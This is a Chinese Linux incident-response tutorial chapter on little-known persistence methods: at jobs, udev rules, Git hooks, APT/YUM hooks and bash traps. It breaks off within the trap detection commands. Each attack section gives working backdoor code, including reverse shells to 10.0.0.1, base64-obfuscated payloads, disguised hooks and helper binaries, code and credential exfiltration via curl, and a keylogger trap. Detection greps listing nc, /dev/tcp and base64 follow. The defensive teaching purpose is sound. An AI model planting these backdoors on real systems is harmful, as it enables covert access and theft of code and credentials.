1. 1. 28.5 - 冷门持久化技术补充
    1. 1.1. 一、at 任务持久化 (T1053.001)
      1. 1.1.1. 1.1 原理详解
      2. 1.1.2. 1.2 攻击实现
        1. 1.1.2.1. 基础用法:一次性反弹 Shell
        2. 1.1.2.2. 进阶:链式自续期持久化
        3. 1.1.2.3. 进阶:Base64 混淆
        4. 1.1.2.4. 访问控制文件
      3. 1.1.3. 1.3 检测方法
        1. 1.1.3.1. 查看 at 任务队列
        2. 1.1.3.2. 检查 at 任务存储目录
        3. 1.1.3.3. 检查 atd 服务状态
        4. 1.1.3.4. 关键字搜索
      4. 1.1.4. 1.4 清除与加固
    2. 1.2. 二、udev 规则持久化
      1. 1.2.1. 2.1 原理详解
      2. 1.2.2. 2.2 攻击实现
        1. 1.2.2.1. 场景一:USB 设备插入触发
        2. 1.2.2.2. 场景二:网络接口事件触发
        3. 1.2.2.3. 场景三:伪装成合法规则
        4. 1.2.2.4. 注意事项
      3. 1.2.3. 2.3 检测方法
      4. 1.2.4. 2.4 清除与加固
    3. 1.3. 三、Git Hooks 持久化
      1. 1.3.1. 3.1 原理详解
      2. 1.3.2. 3.2 攻击实现
        1. 1.3.2.1. 场景一:植入 post-commit Hook
        2. 1.3.2.2. 场景二:全局 Git Template 后门
        3. 1.3.2.3. 场景三:服务端 post-receive Hook(Git 服务器)
        4. 1.3.2.4. 场景四:利用 core.hooksPath 全局劫持
      3. 1.3.3. 3.3 检测方法
      4. 1.3.4. 3.4 清除与加固
    4. 1.4. 四、APT/YUM 包管理器 Hook 持久化
      1. 1.4.1. 4.1 原理详解
      2. 1.4.2. 4.2 攻击实现
        1. 1.4.2.1. APT Hook 后门(Debian/Ubuntu)
        2. 1.4.2.2. YUM Plugin 后门(RHEL/CentOS)
        3. 1.4.2.3. RPM Scriptlets 利用
      3. 1.4.3. 4.3 检测方法
      4. 1.4.4. 4.4 清除与加固
    5. 1.5. 五、Trap 命令持久化
      1. 1.5.1. 5.1 原理详解
      2. 1.5.2. 5.2 攻击实现
        1. 1.5.2.1. 场景一:DEBUG trap 键盘记录器
        2. 1.5.2.2. 场景二:EXIT trap 反弹 Shell
        3. 1.5.2.3. 场景三:ERR trap 条件触发
        4. 1.5.2.4. 场景四:PROMPT_COMMAND 配合 trap
      3. 1.5.3. 5.3 检测方法
      4. 1.5.4. 5.4 清除与加固
    6. 1.6. 六、Linux Capabilities 持久化 (setcap)
      1. 1.6.1. 6.1 原理详解
      2. 1.6.2. 6.2 攻击实现
        1. 1.6.2.1. 基础:赋予 python 提权能力
        2. 1.6.2.2. 进阶:赋予常用工具读取敏感文件的能力
        3. 1.6.2.3. 高级:编译自定义后门程序
        4. 1.6.2.4. 利用 CAP_SYS_ADMIN 逃逸
      3. 1.6.3. 6.3 检测方法
      4. 1.6.4. 6.4 清除与加固
    7. 1.7. 七、motd (Message of the Day) 后门
      1. 1.7.1. 7.1 原理详解
      2. 1.7.2. 7.2 攻击实现
        1. 1.7.2.1. 基础:直接植入恶意 motd 脚本
        2. 1.7.2.2. 进阶:窃取 SSH 登录凭据
        3. 1.7.2.3. 修改已有 motd 脚本(更隐蔽)
      3. 1.7.3. 7.3 检测方法
      4. 1.7.4. 7.4 清除与加固
    8. 1.8. 八、内核模块 (LKM) 深入持久化
      1. 1.8.1. 8.1 原理补充:内核模块加载的多种路径
      2. 1.8.2. 8.2 攻击手法一:modules-load.d 自动加载
      3. 1.8.3. 8.3 攻击手法二:modprobe.d install 指令劫持
      4. 1.8.4. 8.4 攻击手法三:initramfs 嵌入(最高级)
      5. 1.8.5. 8.5 攻击手法四:syscall table Hook
      6. 1.8.6. 8.6 深度检测方法
      7. 1.8.7. 8.7 清除与加固
    9. 1.9. 九、initramfs / GRUB 持久化
      1. 1.9.1. 9.1 原理详解
      2. 1.9.2. 9.2 攻击实现
        1. 1.9.2.1. GRUB 配置注入
        2. 1.9.2.2. initramfs 注入恶意脚本
        3. 1.9.2.3. RHEL/CentOS dracut 方式
      3. 1.9.3. 9.3 检测方法
      4. 1.9.4. 9.4 清除与加固
    10. 1.10. 十、Docker/Container 逃逸持久化
      1. 1.10.1. 10.1 原理详解
      2. 1.10.2. 10.2 攻击实现
        1. 1.10.2.1. 逃逸方式一:privileged 模式
        2. 1.10.2.2. 逃逸方式二:Docker socket 暴露
        3. 1.10.2.3. 逃逸方式三:挂载宿主机目录
        4. 1.10.2.4. 持久化方式:恶意 Docker 镜像
      3. 1.10.3. 10.3 检测方法
      4. 1.10.4. 10.4 清除与加固
    11. 1.11. 十一、动态链接器配置劫持(非 LD_PRELOAD)
      1. 1.11.1. 11.1 原理详解
      2. 1.11.2. 11.2 攻击手法一:ld.so.conf.d 路径注入
      3. 1.11.3. 11.3 攻击手法二:ldconfig 缓存投毒
      4. 1.11.4. 11.4 攻击手法三:RPATH/RUNPATH 劫持
      5. 1.11.5. 11.5 检测方法
      6. 1.11.6. 11.6 清除与加固
    12. 1.12. 十二、rc.local 与 init.d 持久化(深入补充)
      1. 1.12.1. 12.1 原理详解:rc.local 在 systemd 时代
      2. 1.12.2. 12.2 攻击实现
        1. 1.12.2.1. rc.local 后门
        2. 1.12.2.2. 在已有 rc.local 中注入(更隐蔽)
        3. 1.12.2.3. init.d 脚本后门
      3. 1.12.3. 12.3 检测方法
      4. 1.12.4. 12.4 清除与加固
    13. 1.13. 十三、Linux 持久化完整排查 Checklist
      1. 1.13.1. 13.1 持久化位置全景表
      2. 1.13.2. 13.2 一键排查脚本
      3. 1.13.3. 13.3 排查优先级建议
      4. 1.13.4. 13.4 快速排查命令速查表
    14. 1.14. 总结

Linux应急响应 - 28.5 冷门持久化技术补充

28.5 - 冷门持久化技术补充

本页是 Linux 持久化系列(15-27)的补充篇,涵盖 12 种在常规排查中容易被忽略但实战中确实存在的冷门持久化技术

这些技术的共同特点:隐蔽性极高、排查盲区大、自动化工具覆盖不足

前置知识:07-计划任务审计 | 08-服务与启动项审计 | 15-Crontab后门 | 17-Systemd-Service后门 | 21-Rootkit检测

MITRE ATT&CK 映射:T1053.001, T1547, T1546, T1574, T1542, T1611

阅读建议:每种技术都按「原理 -> 攻击实现 -> 检测方法 -> 清除」的四阶段展开,建议结合实验环境操作

一、at 任务持久化 (T1053.001)

1.1 原理详解

at 与 cron 的本质区别

cron:周期性调度器,按时间表反复执行任务(分/时/日/月/周)

at:一次性调度器,在指定的未来某个时间点执行一次任务后自动删除

两者互补但管理方式完全不同,很多管理员只检查 cron 而忽略 at

at 的工作机制

1
2
3
4
5
6
7
8
9
10
11
┌─────────────┐     ┌──────────────┐     ┌─────────────────┐
│ 用户提交 │────>│ atd 守护进程 │────>│ /var/spool/at/ │
at 任务 │ │ 监控队列 │ │ 任务文件存储 │
└─────────────┘ └──────────────┘ └─────────────────┘
│ │
│ 到达指定时间 │
▼ ▼
┌──────────────┐ ┌─────────────────┐
│ fork 子进程 │────>│ 执行任务内容 │
│ 执行任务 │ │ 删除任务文件 │
└──────────────┘ └─────────────────┘

为什么 at 适合做持久化

大多数安全工具和排查 checklist 只检查 crontab,不检查 at 队列

at 任务执行后自动删除,取证难度高(执行完就没了)

攻击者可以写一个「自我续期」的 at 任务——执行时再创建下一个 at 任务,形成链式持久化

at 任务文件格式

存储在 /var/spool/at/ 目录下,文件名格式为 a0000X01YYYYYY

文件本身是一个完整的 shell 脚本,包含执行时的环境变量和用户命令

文件权限通常是 600,属主为提交任务的用户

1.2 攻击实现

基础用法:一次性反弹 Shell

1
2
3
4
5
6
7
8
# 在1分钟后反弹 shell
echo "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" | at now + 1 minute

# 在指定时间执行
echo "/tmp/.hidden/payload.sh" | at 03:00 AM 2026-04-03

# 在系统重启后执行(某些系统支持)
echo "/tmp/evil.sh" | at -f /tmp/evil.sh now + 1 minute

进阶:链式自续期持久化

1
2
3
4
5
6
7
# payload.sh —— 自我续期的 at 后门
#!/bin/bash
# 执行恶意操作
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &

# 重新注册自己,5分钟后再次执行
echo "/tmp/.cache/payload.sh" | at now + 5 minutes

这种方式比 crontab 更隐蔽:没有持久的 crontab 条目,每次都是”新建”的一次性任务

进阶:Base64 混淆

1
2
3
4
5
6
# 编码
echo "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=

# 提交编码后的 at 任务
echo "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash" | at now + 1 minute

访问控制文件

1
2
3
4
5
6
7
8
# /etc/at.allow — 白名单(存在时只有列出的用户可以使用 at)
# /etc/at.deny — 黑名单(存在时列出的用户不能使用 at)
# 两个都不存在时:只有 root 可以使用 at
# at.deny 存在但为空时:所有用户都可以使用 at(默认情况!)

# 攻击者可能修改这些文件以确保自己能使用 at
cat /etc/at.deny
cat /etc/at.allow

1.3 检测方法

查看 at 任务队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 列出所有等待执行的 at 任务
atq
# 输出格式:任务号 执行时间 队列 用户名
# 示例:3 Thu Apr 3 03:00:00 2026 a root

# 查看具体任务内容(关键!)
at -c 3
# 会输出完整的 shell 脚本,包括环境变量和执行命令

# 遍历所有任务并查看内容
for job in $(atq | awk '{print $1}'); do
echo "=== Job $job ==="
at -c $job
done

检查 at 任务存储目录

1
2
3
4
5
6
7
8
# 直接查看 spool 目录
ls -la /var/spool/at/

# 查看文件内容(每个文件就是一个完整的 shell 脚本)
cat /var/spool/at/a0000*

# 检查近期创建的 at 任务文件
find /var/spool/at/ -type f -mtime -7 -ls

检查 atd 服务状态

1
2
3
4
5
6
# 确认 atd 是否在运行
systemctl status atd

# 如果不需要 at 功能,建议直接禁用
systemctl stop atd
systemctl disable atd

关键字搜索

1
2
3
4
# 在 at 任务中搜索可疑关键字
for job in $(atq | awk '{print $1}'); do
at -c $job | grep -iE "(bash|sh|curl|wget|nc|ncat|python|perl|/dev/tcp|base64)" && echo "^^^ Job $job ^^^"
done

1.4 清除与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 删除指定 at 任务
atrm 3
# 或
at -r 3

# 批量删除所有 at 任务
for job in $(atq | awk '{print $1}'); do atrm $job; done

# 加固:禁止非 root 用户使用 at
echo "root" > /etc/at.allow
chmod 600 /etc/at.allow

# 加固:如果不需要 at 功能,彻底禁用
systemctl stop atd
systemctl disable atd
systemctl mask atd

二、udev 规则持久化

2.1 原理详解

udev 是什么

udev 是 Linux 内核的设备管理子系统(userspace /dev),负责在 /dev/ 目录下动态创建和管理设备节点

当硬件设备被检测到(插入 USB、网卡 up/down、磁盘挂载等),内核通过 netlink 发送 uevent 事件

udevd 守护进程接收这些事件,按照规则文件(rules)执行匹配的操作

udev 事件触发流程

1
2
3
4
5
6
7
8
9
10
┌──────────┐    uevent     ┌──────────┐    match rules    ┌──────────────┐
│ 内核 │─────────────>│ udevd │────────────────> │ 规则文件 │
│ 检测设备 │ (netlink) │ 守护进程 │ │ *.rules │
└──────────┘ └──────────┘ └──────────────┘
│ │
RUN+= 指令 │
▼ ▼
┌──────────────────────────────────────┐
│ 以 root 权限执行指定程序/脚本 │
└──────────────────────────────────────┘

为什么 udev 规则极其危险

udev 规则中的 RUN+= 指令以 root 权限执行

触发条件可以是任何硬件事件:USB 插入、网络接口变化、蓝牙设备发现等

几乎没有安全工具会主动扫描 udev 规则

规则语法看起来像系统配置,不像恶意代码

规则文件位置

路径 说明 优先级
/etc/udev/rules.d/ 管理员自定义规则 高(覆盖同名系统规则)
/lib/udev/rules.d/ 发行版默认规则
/run/udev/rules.d/ 运行时临时规则

规则语法基础

1
2
3
4
5
6
7
8
# 规则格式:匹配条件(==) + 执行动作(+=)
# ACTION : add/remove/change/bind/unbind
# SUBSYSTEM: usb/net/block/input/...
# ATTR{} : 设备属性匹配
# RUN+="" : 匹配时执行的命令

# 示例:正常规则 —— USB 磁盘自动挂载
ACTION=="add", SUBSYSTEM=="block", ATTR{removable}=="1", RUN+="/usr/local/bin/automount.sh"

2.2 攻击实现

场景一:USB 设备插入触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 创建恶意 udev 规则
cat > /etc/udev/rules.d/99-backdoor.rules << 'EOF'
# 任何 USB 设备插入时触发
ACTION=="add", SUBSYSTEM=="usb", RUN+="/tmp/.hidden/evil.sh"
EOF

# 恶意脚本
cat > /tmp/.hidden/evil.sh << 'EOF'
#!/bin/bash
nohup bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &
EOF
chmod +x /tmp/.hidden/evil.sh

# 重新加载 udev 规则(无需重启)
udevadm control --reload-rules

场景二:网络接口事件触发

1
2
3
4
# 网络接口 up 时触发 —— 比 USB 更频繁
cat > /etc/udev/rules.d/85-net-backdoor.rules << 'EOF'
SUBSYSTEM=="net", ACTION=="add", RUN+="/usr/local/bin/.net-helper.sh"
EOF

这种方式在服务器环境中更实用:网络接口变化(DHCP 续期、VLAN 变更)会持续触发

场景三:伪装成合法规则

1
2
3
4
5
6
7
8
9
10
11
# 伪装成 USB 电源管理规则(看起来完全正常)
cat > /etc/udev/rules.d/60-usb-power-management.rules << 'EOF'
# USB power management - optimize battery life
ACTION=="add", SUBSYSTEM=="usb", ATTR{power/control}="auto"
ACTION=="add", SUBSYSTEM=="usb", TEST=="power/autosuspend", ATTR{power/autosuspend}="2"
ACTION=="add", SUBSYSTEM=="usb", RUN+="/usr/lib/udev/usb-power-helper"
EOF

# 恶意程序伪装成系统帮助程序
cp /tmp/backdoor /usr/lib/udev/usb-power-helper
chmod 755 /usr/lib/udev/usb-power-helper

文件名和路径都像合法的系统组件,极难通过人工审查发现

注意事项

udev RUN+= 有执行时间限制(默认 180 秒),超时会被杀掉

因此恶意命令通常用 nohup ... & 放入后台执行

udev 执行环境受限,PATH 和环境变量与正常 shell 不同

2.3 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 1. 列出所有自定义 udev 规则
ls -la /etc/udev/rules.d/
ls -la /lib/udev/rules.d/
ls -la /run/udev/rules.d/

# 2. 搜索包含 RUN+= 的规则(关键检测点!)
grep -rn "RUN+=" /etc/udev/rules.d/ /lib/udev/rules.d/

# 3. 检查 RUN+= 指向的可执行文件
grep -rh "RUN+=" /etc/udev/rules.d/ | grep -oP 'RUN\+="\K[^"]+' | while read cmd; do
echo "--- Checking: $cmd ---"
ls -la "$cmd" 2>/dev/null
file "$cmd" 2>/dev/null
done

# 4. 检查近期被修改的规则文件
find /etc/udev/rules.d/ /lib/udev/rules.d/ -type f -mtime -30 -ls

# 5. 验证规则文件的包归属(不属于任何包的文件可疑)
# Debian/Ubuntu:
for f in /etc/udev/rules.d/*; do dpkg -S "$f" 2>/dev/null || echo "ORPHAN: $f"; done
# RHEL/CentOS:
for f in /etc/udev/rules.d/*; do rpm -qf "$f" 2>/dev/null || echo "ORPHAN: $f"; done

# 6. 监控 udev 事件(实时调试)
udevadm monitor --property

2.4 清除与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 删除恶意规则文件
rm /etc/udev/rules.d/99-backdoor.rules

# 删除恶意规则引用的可执行文件
rm /usr/lib/udev/usb-power-helper

# 重新加载 udev 规则
udevadm control --reload-rules
udevadm trigger

# 加固:限制 /etc/udev/rules.d/ 的写权限
chmod 755 /etc/udev/rules.d/

# 加固:使用 inotifywait 监控规则目录变化
# apt install inotify-tools
inotifywait -m -r /etc/udev/rules.d/ -e create -e modify -e delete

三、Git Hooks 持久化

3.1 原理详解

Git Hooks 机制

Git 在执行特定操作(commit, push, merge, checkout 等)时,会自动查找并执行 .git/hooks/ 目录下的对应脚本

Hooks 可以是任何可执行文件:shell 脚本、Python、Perl、编译二进制文件

分为客户端 hooks(本地操作触发)和服务端 hooks(接收 push 时触发)

可利用的 Hooks 一览

Hook 名称 触发时机 危险等级 适合持久化
pre-commit git commit 前 开发者每次提交代码都触发
post-commit git commit 后 提交完成后静默执行
pre-push git push 前 推送代码时触发
post-merge git merge/pull 后 git pull 自动触发
post-checkout git checkout 后 切换分支时触发
pre-rebase git rebase 前 使用频率较低
post-receive 服务端接收 push 后 极高 CI/CD 服务器上
update 服务端更新引用前 Git 服务器上

为什么 Git Hooks 是完美的持久化载体

.git/ 目录通常不会被安全扫描工具检查

Hooks 看起来像正常的开发工具配置(代码格式化、lint 检查等)

开发者频繁执行 git 操作,触发频率极高

.git/hooks/ 不会被 git status 显示,也不会被提交到远程仓库(默认情况)

Git Template 攻击向量

git config --global init.templateDir /path/to/template 设置全局模板

模板中的 hooks 会被自动复制到每一个新 clone/init 的仓库中

攻击者设置恶意模板后,受害者创建的所有新仓库都带后门

3.2 攻击实现

场景一:植入 post-commit Hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 在目标仓库中植入 post-commit hook
cat > /home/developer/project/.git/hooks/post-commit << 'HOOK'
#!/bin/bash
# 看起来像正常的代码质量检查
# Auto-format check completed

# 实际上:窃取代码并反弹 shell
tar czf /tmp/.git-backup-$(date +%s).tar.gz . 2>/dev/null
curl -s -X POST -d @/tmp/.git-backup-*.tar.gz http://10.0.0.1:8080/collect &
rm -f /tmp/.git-backup-*.tar.gz 2>/dev/null

# 尝试反弹 shell(静默失败不影响 git 操作)
(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &) 2>/dev/null

exit 0 # 必须返回 0,否则开发者会注意到
HOOK
chmod +x /home/developer/project/.git/hooks/post-commit

场景二:全局 Git Template 后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 创建恶意模板目录
mkdir -p /home/developer/.git-templates/hooks

cat > /home/developer/.git-templates/hooks/pre-commit << 'HOOK'
#!/bin/bash
# Standard pre-commit lint check

# 窃取 git 配置中的凭据
git config --list 2>/dev/null | curl -s -X POST -d @- http://10.0.0.1:8080/creds &
exit 0
HOOK
chmod +x /home/developer/.git-templates/hooks/pre-commit

# 设置全局模板(影响所有新仓库)
git config --global init.templateDir /home/developer/.git-templates

场景三:服务端 post-receive Hook(Git 服务器)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 在 Git 服务器的裸仓库中
cat > /srv/git/project.git/hooks/post-receive << 'HOOK'
#!/bin/bash
# Deploy hook - auto-deploy on push

while read oldrev newrev refname; do
# 正常部署逻辑
git --work-tree=/var/www/html checkout -f

# 恶意操作:每次有人 push 都执行
(nohup /var/www/html/.deploy-helper 2>/dev/null &)
done
HOOK
chmod +x /srv/git/project.git/hooks/post-receive

场景四:利用 core.hooksPath 全局劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
# Git 2.9+ 支持 core.hooksPath 配置
mkdir -p /tmp/.config/hooks

cat > /tmp/.config/hooks/pre-commit << 'HOOK'
#!/bin/bash
# 恶意操作
curl -s http://10.0.0.1/beacon?user=$(whoami)&host=$(hostname) &
exit 0
HOOK
chmod +x /tmp/.config/hooks/pre-commit

# 全局设置
git config --global core.hooksPath /tmp/.config/hooks

3.3 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 1. 查找所有可执行的 git hooks
find / -path "*/.git/hooks/*" -executable -type f 2>/dev/null

# 2. 查找包含可疑内容的 hooks
find / -path "*/.git/hooks/*" -executable -type f -exec grep -lE \
"(curl|wget|nc|ncat|bash -i|/dev/tcp|python|perl|base64)" {} \; 2>/dev/null

# 3. 检查全局 git 配置
git config --global --list 2>/dev/null | grep -E "(templateDir|hooksPath)"
# 也检查每个用户
for home in /home/* /root; do
echo "=== $home ==="
cat "$home/.gitconfig" 2>/dev/null | grep -E "(templateDir|hooksPath)"
done

# 4. 检查 Git 模板目录
find / -path "*/.git-templates/hooks/*" -type f 2>/dev/null

# 5. 对比 hooks 文件内容与默认样本
# 默认 hooks 以 .sample 结尾且不可执行
find / -path "*/.git/hooks/*" -executable -not -name "*.sample" -type f 2>/dev/null

# 6. 检查 Git 服务器上的裸仓库 hooks
find /srv/git /var/lib/gitolite -path "*/hooks/*" -executable -type f 2>/dev/null

3.4 清除与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 删除恶意 hooks
rm /home/developer/project/.git/hooks/post-commit

# 清除全局模板和 hooksPath 配置
git config --global --unset init.templateDir
git config --global --unset core.hooksPath

# 加固:在 CI/CD 环境中禁用 hooks
# 在 clone 时使用 --template= 参数(空模板)
git clone --template= https://repo.example.com/project.git

# 加固:定期审计 hooks
find / -path "*/.git/hooks/*" -executable -not -name "*.sample" \
-newer /etc/os-release -type f -ls 2>/dev/null

四、APT/YUM 包管理器 Hook 持久化

4.1 原理详解

包管理器 Hook 机制

Linux 包管理器(APT、YUM/DNF)在安装、更新、删除软件包时,支持执行自定义的 Hook 脚本

这是为了让管理员在包管理操作前后执行自动化任务(如清理缓存、更新配置、重启服务)

攻击者利用这一机制:每次系统更新都自动执行恶意代码

为什么包管理器 Hook 极其隐蔽

只在用户执行 apt updateapt installyum update 时触发

触发频率低 = 行为分析工具难以建立基线

Hook 配置看起来像合法的系统管理脚本

自动化安全扫描工具几乎不覆盖此向量

APT Hook 体系

1
2
3
4
5
6
7
/etc/apt/apt.conf.d/
├── 00trustcdrom
├── 01autoremove
├── 10periodic ← 自动更新配置
├── 20auto-upgrades
├── 50unattended-upgrades
└── 99-malicious ← 攻击者植入的 Hook

文件按数字顺序读取执行,数字越大优先级越低(越晚执行)

YUM/DNF Plugin 体系

1
2
3
4
/etc/yum/pluginconf.d/     ← 插件配置
/usr/lib/yum-plugins/ ← 插件代码(Python)
/etc/dnf/plugins/ ← DNF 插件配置
/usr/lib/python3/dist-packages/dnf-plugins/ ← DNF 插件代码

4.2 攻击实现

APT Hook 后门(Debian/Ubuntu)

1
2
3
4
5
6
7
8
9
10
11
12
# 方法一:DPkg::Post-Invoke —— 每次 dpkg 操作后执行
cat > /etc/apt/apt.conf.d/99-update-helper << 'EOF'
DPkg::Post-Invoke {"bash /usr/lib/apt/apt-helper-daemon 2>/dev/null || true";};
EOF

# 恶意脚本伪装成 APT 辅助程序
cat > /usr/lib/apt/apt-helper-daemon << 'SCRIPT'
#!/bin/bash
# APT cache maintenance daemon
(nohup bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >/dev/null 2>&1 &)
SCRIPT
chmod 755 /usr/lib/apt/apt-helper-daemon
1
2
3
4
# 方法二:APT::Update::Post-Invoke-Success —— apt update 成功后执行
cat > /etc/apt/apt.conf.d/80-update-success-hooks << 'EOF'
APT::Update::Post-Invoke-Success {"curl -s http://10.0.0.1/update-check | bash 2>/dev/null || true";};
EOF
1
2
3
4
5
# 方法三:利用 dpkg triggers
# 当特定包被安装/更新时触发
mkdir -p /var/lib/dpkg/triggers
# 注册 trigger:当 /usr/bin 目录有变化时触发
echo "interest /usr/bin" > /var/lib/dpkg/info/evil-trigger.triggers

YUM Plugin 后门(RHEL/CentOS)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 1. 创建插件配置
cat > /etc/yum/pluginconf.d/security-check.conf << 'EOF'
[main]
enabled=1
EOF

# 2. 创建恶意插件(Python)
cat > /usr/lib/yum-plugins/security-check.py << 'PYEOF'
# YUM Security Verification Plugin
# Verifies package signatures after installation

import os
from yum.plugins import TYPE_CORE

requires_api_version = '2.1'
plugin_type = (TYPE_CORE,)

def posttrans_hook(conduit):
"""Post-transaction hook - verify installed packages"""
# 看起来像安全检查,实际上执行恶意代码
os.system("nohup bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' &>/dev/null &")
PYEOF

RPM Scriptlets 利用

1
2
3
4
5
6
7
8
9
10
11
12
# RPM 包的 scriptlets 在安装/卸载时执行
# 攻击者可以构建恶意 RPM 包

# spec 文件中的恶意 scriptlet
# %post
# /bin/bash -c 'nohup /usr/local/bin/.helper &>/dev/null &'

# 检查已安装 RPM 包的 scriptlets
rpm -q --scripts <package_name>

# 查看所有包的 post-install scriptlets
rpm -qa --queryformat '%{NAME}: %{POSTIN}\n' | grep -v "(none)"

4.3 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# === APT Hook 检测 ===

# 1. 列出所有 APT 配置文件
ls -la /etc/apt/apt.conf.d/

# 2. 搜索包含执行命令的 Hook
grep -rn "Invoke\|Pre-Install\|Post-Install\|Pre-Invoke\|Post-Invoke" /etc/apt/apt.conf.d/

# 3. 检查哪些 Hook 文件不属于任何已安装包
for f in /etc/apt/apt.conf.d/*; do
dpkg -S "$f" 2>/dev/null || echo "ORPHAN (可疑): $f"
done

# 4. 查看 APT Hook 中调用的外部程序
grep -rhoP '"\K[^"]+' /etc/apt/apt.conf.d/ | grep -v "^$" | sort -u

# === YUM/DNF Plugin 检测 ===

# 5. 列出所有 YUM 插件
ls -la /etc/yum/pluginconf.d/ 2>/dev/null
ls -la /usr/lib/yum-plugins/ 2>/dev/null

# 6. 检查 DNF 插件
ls -la /etc/dnf/plugins/ 2>/dev/null
dnf plugin list 2>/dev/null

# 7. 检查插件代码中的可疑内容
grep -rn "os.system\|subprocess\|exec\|eval" /usr/lib/yum-plugins/ 2>/dev/null

# === RPM Scriptlets 检测 ===

# 8. 列出所有包含 post-install 脚本的已安装包
rpm -qa --queryformat '%{NAME}|%{POSTIN}\n' 2>/dev/null | grep -v "(none)" | head -50

# 9. 查看特定包的所有 scriptlets
rpm -q --scripts suspicious-package 2>/dev/null

4.4 清除与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 删除恶意 APT Hook
rm /etc/apt/apt.conf.d/99-update-helper
rm /usr/lib/apt/apt-helper-daemon

# 删除恶意 YUM Plugin
rm /etc/yum/pluginconf.d/security-check.conf
rm /usr/lib/yum-plugins/security-check.py

# 加固:监控包管理器配置目录
auditctl -w /etc/apt/apt.conf.d/ -p wa -k apt_hooks
auditctl -w /etc/yum/pluginconf.d/ -p wa -k yum_plugins

# 加固:限制目录权限
chmod 755 /etc/apt/apt.conf.d/
chown root:root /etc/apt/apt.conf.d/*

五、Trap 命令持久化

5.1 原理详解

bash trap 机制

trap 是 bash 内建命令,用于在 shell 收到信号或达到特定条件时执行指定命令

原始用途:脚本中的信号处理(如 Ctrl+C 时清理临时文件)

攻击利用:注册特殊 trap,在用户无感知的情况下执行恶意代码

trap 支持的信号和伪信号

信号/伪信号 触发条件 持久化利用价值
EXIT shell 退出时 高 —— 用户退出终端即触发
DEBUG 每执行一条命令前 极高 —— 每条命令都触发
ERR 命令返回非零退出码时 中 —— 依赖命令执行失败
RETURN 函数或 source 脚本返回时
SIGINT (2) Ctrl+C
SIGTERM (15) kill 默认信号
SIGHUP (1) 终端关闭

trap DEBUG 的特殊性

trap 'command' DEBUG 使得 shell 在执行每一条命令之前都先执行 trap 中的命令

这是一个极其强大的 hook 点,等同于在 shell 中安装了一个全局 keylogger

DEBUG trap 可以通过 $BASH_COMMAND 变量获取即将执行的命令内容

持久化原理

trap 本身是 shell session 级别的,退出 shell 就失效

但如果将 trap 命令写入 .bashrc.bash_profile/etc/bash.bashrc 等文件

每次用户打开 shell 都会自动注册 trap,实现持久化

与直接在 .bashrc 中写命令不同,trap DEBUG 可以监控所有后续命令

5.2 攻击实现

场景一:DEBUG trap 键盘记录器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 注入到 .bashrc 中
cat >> /home/victim/.bashrc << 'TRAP'

# Performance monitoring (DO NOT REMOVE)
trap '
cmd="$BASH_COMMAND"
echo "$(date +%s) $(whoami) $(pwd) $cmd" >> /tmp/.bash_metrics 2>/dev/null
# 定期外传
if [ $(wc -l < /tmp/.bash_metrics 2>/dev/null) -gt 100 ]; then
curl -s -X POST -d @/tmp/.bash_metrics http://10.0.0.1:8080/metrics &
> /tmp/.bash_metrics
fi
' DEBUG
TRAP

这个 trap 会记录用户执行的每一条命令,包括敏感命令(密码、API Key 等)

场景二:EXIT trap 反弹 Shell

1
2
3
4
# 用户退出 shell 时反弹 shell(作为"遗言"执行)
cat >> /root/.bashrc << 'TRAP'
trap 'nohup bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" &>/dev/null &' EXIT
TRAP

场景三:ERR trap 条件触发

1
2
3
4
5
6
7
8
9
# 当任何命令执行失败时触发
cat >> /home/victim/.bashrc << 'TRAP'
# Error reporting for system diagnostics
trap '
if [ "$BASH_COMMAND" != "true" ]; then
curl -s "http://10.0.0.1/err?cmd=$(echo $BASH_COMMAND | base64)" &>/dev/null &
fi
' ERR
TRAP

场景四:PROMPT_COMMAND 配合 trap

1
2
3
4
5
6
# PROMPT_COMMAND 在每次显示提示符前执行(类似 DEBUG 但更隐蔽)
cat >> /home/victim/.bashrc << 'TRAP'
export PROMPT_COMMAND='
history 1 | sed "s/^[ ]*[0-9]*[ ]*//" >> /tmp/.cmd_log 2>/dev/null
'
TRAP

5.3 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 1. 搜索所有 shell 配置文件中的 trap 指令
grep -rn "trap " /root/.bashrc /root/.bash_profile /root/.profile \
/home/*/.bashrc /home/*/.bash_profile /home/*/.profile \
/etc/bash.bashrc /etc/profile /etc/profile.d/ 2>/dev/null

# 2. 特别关注 DEBUG、EXIT、ERR trap
grep -rn "trap.*DEBUG\|trap.*EXIT\|trap.*ERR\|trap.*RETURN" \
/etc/profile.d/ /etc/bash.bashrc /root/.bashrc /home/*/.bashrc 2>/dev/null

# 3. 检查当前 shell 中已注册的 trap
trap -p
# 输出示例:trap -- 'malicious_command' DEBUG

